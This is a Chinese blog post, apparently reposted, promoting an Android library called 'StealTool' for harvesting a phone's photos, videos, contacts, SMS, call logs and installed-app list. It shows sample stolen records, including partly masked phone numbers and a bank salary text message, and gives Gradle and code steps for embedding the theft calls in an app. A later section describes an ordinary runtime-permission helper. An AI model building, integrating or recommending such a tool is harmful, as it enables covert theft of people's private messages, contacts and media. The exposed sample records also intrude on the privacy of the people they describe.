博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
盗取手机敏感信息,Android 6.0之上兼容
阅读量:5951 次
发布时间:2019-06-19

本文共 5581 字,大约阅读时间需要 18 分钟。

盗取手机敏感信息,Android 6.0之上兼容

项目介绍

  • 盗取信息包含:
    • 手机中所有照片
    • 手机中所有视频
    • 手机中所有通讯录
    • 手机中所有短信
    • 手机中所有通话记录
    • 手机中所有安装应用
  • 兼容Android 6.0及之上版本
  • 动态权限申请工具开放

效果展示

1.照片信息
MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}复制代码
2.视频信息
MaterialBean{mLogo='/storage/emulated/0/DCIM/Camera/视频/VID_20170917_130313.mp4', title='VID_20170917_130313.mp4', time='视频时间-00:00:11', filePath='/storage/emulated/0/DCIM/Camera/视频/VID_20170917_130313.mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}复制代码
3.通讯录
PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name='*鹏', number='151**054191'}    PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='侯*利', number='1830***2828'}    PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name='*八', number='187337**438'}    PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='申通小哥', number='18513**8127'}复制代码
4.短信
[ 10659805436945326, 0, 【luckin coffee】小蓝杯,北马爱~送你一张5折券(全场饮品通用)下载app立享http://t.cn/RlQ2ad3 回TD退订, 2018-09-11 01:42:27, 接收 ]    [ 95555, 0, 您账户8693于09月11日11:42入账工资,人民币22267.30。[招商银行], 2018-09-11 11:46:28, 接收 ]复制代码
5.通话记录
CallInfo{number='13141**2862', date=1527322406732, type=2}    CallInfo{number='1891**85043', date=1527325280548, type=1}    CallInfo{number='1360110**83', date=1527335837700, type=2}复制代码
6.安裝App
AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'}    AppInfo{appName='皮皮虾', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'}    AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'}    AppInfo{appName='UC浏览器', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'}    AppInfo{appName='抖音短视频', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}复制代码

最简单使用方式

1. Add it in your root build.gradle at the end of repositories:
allprojects {		repositories {			...			maven { url 'https://jitpack.io' }		}	}复制代码
2. Add the dependency
dependencies {	        implementation 'com.github.pengMaster:StealTool:1.0.0'	}复制代码
3. Add use to activity
//获取图片StealUtils.getAllLocalPhotos(this@MainActivity)//获取视频StealUtils.getAllLocalVideos(this@MainActivity)//获取联系人StealUtils.getAllContactInfo(this@MainActivity)//获取短信StealUtils.getSmsInPhone(this@MainActivity)//获取通话记录StealUtils.getCallInfos(this@MainActivity)//获取安装所有AppStealUtils.getInstallApp(packageManager)java (this) = kotlin (this@MainActivity)java (getPackageManager()) = kotlin (packageManager)复制代码
4. add permission to your menifest
复制代码

介绍一下很好用的Android6.0动态权限申请工具

申请一个权限:

PERMISSION_CAMERA = 申请权限(例如:Manifest.permission.READ_SMS)REQUEST_CODE_CAMERA = 请求返回码 重写onRequestPermissionsResult()时用PermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA,                new PermissionUtils.PermissionRequestSuccessCallBack() {            @Override            public void onHasPermission() {                // 权限已被授予            }        });复制代码

然后在onRequestPermissionsResult中:

if(PermissionUtils.isPermissionRequestSuccess(grantResults))                {                    // 权限申请成功                }复制代码

什么?要同时申请多个权限?

PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS,                new PermissionUtils.PermissionRequestSuccessCallBack() {            @Override            public void onHasPermission() {                // 权限已被授予            }        });复制代码

当然上面这些都不是申请权限的正确姿势,理想的姿势应该是:

  • 第一次申请权限:按照正常流程走;
  • 如果用户第一次拒绝了权限申请,第二次申请时应向用户解释权限用途;
  • 如果用户勾选了“不再询问”选项,应引导用户去设置页手动开启权限。

于是,引申出了复杂版的权限申请方法:

自定义权限申请:

PERMISSION_CAMERA = 申请权限(例如:Manifest.permission.READ_SMS)PermissionUtils.checkPermission(mContext, PERMISSION_CAMERA,                new PermissionUtils.PermissionCheckCallBack() {            @Override            public void onHasPermission() {                // 已授予权限            }            @Override            public void onUserHasAlreadyTurnedDown(String... permission) {                // 上一次申请权限被拒绝,可用于向用户说明权限原因,然后调用权限申请方法。            }            @Override            public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {                // 第一次申请权限或被禁止申请权限,建议直接调用申请权限方法。            }        });复制代码

然后在onRequestPermissionsResult中:

PermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() {                    @Override                    public void onHasPermission() {                    }                    @Override                    public void onUserHasAlreadyTurnedDown(String... permission) {                        Toast.makeText(mContext, "我们需要"+Arrays.toString(permission)+"权限", Toast.LENGTH_SHORT).show();                    }                    @Override                    public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {                        Toast.makeText(mContext, "我们需要"+Arrays.toString(permission)+"权限", Toast.LENGTH_SHORT).show();                        // 显示前往设置页的dialog                        );                    }                });复制代码

参与贡献

  1. Fork 本项目
  2. 新建 Feat_xxx 分支
  3. 提交代码
  4. 新建 Pull Request
  5. 权限工具参考:

github地址

  • 项目地址:

转载地址:http://rxpxx.baihongyu.com/

你可能感兴趣的文章
mysql多实例实例化数据库
查看>>
Sql 字符串长度不足补0
查看>>
我的友情链接
查看>>
golang xml和json的解析与生成
查看>>
小弟的新书《Ext JS权威指南》终于出版了
查看>>
好吧好吧,就在这里消磨时间
查看>>
二层的,DTP+CAM/ARP
查看>>
2011工作总结
查看>>
javascript 操作DOM元素样式
查看>>
Android 内存管理 &Memory Leak & OOM 分析
查看>>
[转]html5 Canvas画图教程(7)—canvas里画曲线之quadraticCurveTo方法
查看>>
[水]三个数学的小技巧题
查看>>
mysql中查看数据库的版本,什么版本
查看>>
[leetcode-342-Power of Four]
查看>>
MongoDB3.0 创建用户
查看>>
2017-2018-1 20155319 《信息安全系统设计基础》第3周学习总结
查看>>
express 3.0.x 中默认不支持flash() 的解决方法
查看>>
uva-111-dp
查看>>
算法学习1——矩阵转置
查看>>
Tcl与Design Compiler (九)——综合后的形式验证
查看>>